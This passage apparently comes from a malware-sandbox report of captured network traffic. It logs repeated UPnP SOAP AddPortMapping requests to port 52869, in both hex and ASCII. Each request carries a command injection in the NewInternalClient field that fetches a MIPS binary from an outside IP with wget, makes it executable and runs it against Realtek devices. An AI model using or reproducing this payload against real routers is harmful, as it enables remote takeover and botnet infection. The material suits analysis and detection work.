6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.819150925 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.963057995 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.994662046 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.314093113 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.464524984 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      11192.168.2.154925845.195.122.21552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:41.691289902 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.819165945 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
